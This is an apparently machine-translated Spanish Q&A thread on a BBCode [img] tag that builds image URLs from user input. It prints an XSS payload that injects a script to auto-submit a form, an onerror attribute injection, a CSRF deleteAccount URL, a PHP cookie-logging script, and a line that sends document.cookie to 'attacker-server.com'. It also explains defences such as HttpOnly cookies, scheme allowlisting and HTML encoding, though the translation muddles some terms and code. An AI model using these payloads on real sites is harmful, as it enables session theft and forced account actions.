¿No está comprobando la vulnerabilidad de src url?

Suponiendo que la función de conversión no se desinfecta:

[img]" /><script>var x=document.forms[0];x.message.value='XSS injection here';x.submit()</script><img src="[/img]

se convierte en:

<img src="" />
<script>var x=document.forms[0];x.message.value='XSS injection here';x.submit()</script>
<img src="" />

Este es un ejemplo simple de CSRF (falsificación de solicitud entre sitios). Tan pronto como otro usuario cargue dicha etiqueta [img], ejecutará el Javascript que se ha inyectado como usuario autenticado, y enviará el formulario de forma involuntaria al cargar la página.

Hay incluso peores posibilidades, incluyendo XSS (secuencias de comandos entre sitios). Por ejemplo, su atacante puede tener un servidor remoto que tenga un script similar a este:

foo.php :

<?php
    require_once('db-config.php');
    mysql_query("INSERT INTO 'cookies' VALUES
        (DEFAULT, '" . mysql_real_escape_string($_GET['input']) . "'"));
?>

El atacante puede enviar una solicitud de AJAX a través del Javascript inyectado y enviarse su cookie de sesión con una URL como esta:

'http://attacker-server.com/foo.php?input=' + document.cookie;

Esto permitirá al atacante secuestrar su ID de sesión, haciéndose pasar por usted en la aplicación.

Un obstáculo para que un interino resuelva un problema como este (una solución imperfecta) es configurar la propiedad HttpOnly en su (s) cookie (s) para evitar que ocurran ciertos ataques CSRF.

EDIT :

Has mencionado:

  

Lo que tengo en mente, pero no estoy totalmente seguro, es algo así como,   [img] http://mysite.com/user?deleteAccount=1 [/ img]. es posible?   ¿Hay otras formas de explotar esta funcionalidad?

Esto es definitivamente posible. Lea mi explicación anterior con respecto a CSRF . De hecho, muchas aplicaciones web utilizan esto para rastrear clics de correo electrónico , como enlaces de valor de src de la imagen oculta a un script que se ejecuta cuando un usuario abre su correo electrónico.

Deje que user_url sea http://some_image/" onerror="alert(1)

Creando así la cadena: <img href="http://some_image/" onerror="alert(1)" />

Dijiste "asegurándote de desinfectar el user_url"

Y le pregunto CÓMO . Sí, obviamente, esto podría ser una vulnerabilidad, y esto depende completamente de CÓMO que estás limpiando esta cadena.

El ataque basado en entradas no saneadas es que la URL será de un esquema peligroso, por ejemplo, javascript:alert() . Debes buscar un esquema de URL que se sepa que está bien (por ejemplo, http:// ) antes de crear una imagen que apunte a él.

El ataque de inyección HTML descrito por @Hope también es probable que exista, pero ese es un problema de falta de codificación HTML, no específicamente de validación de entrada. Su lenguaje de marcado mini debe asegurarse de codificar en HTML todos los valores que utiliza para crear HTML. (En los casos en que su entrada tiene etiquetas no coincidentes / anidadas, es muy difícil hacerlo bien).

  

¿Y por sí mismo? El sitio web no tiene ninguna otra vulnerabilidad.

Si alguien inserta código javascript en tu página, entonces cualquier persona que lo visite estará ejecutando ese código javascript desde tu dominio. Por lo tanto, podrían forzar cualquier acción (XSS) que el usuario pueda hacer desde esa página (eliminar cuenta, transferir dinero, etc.).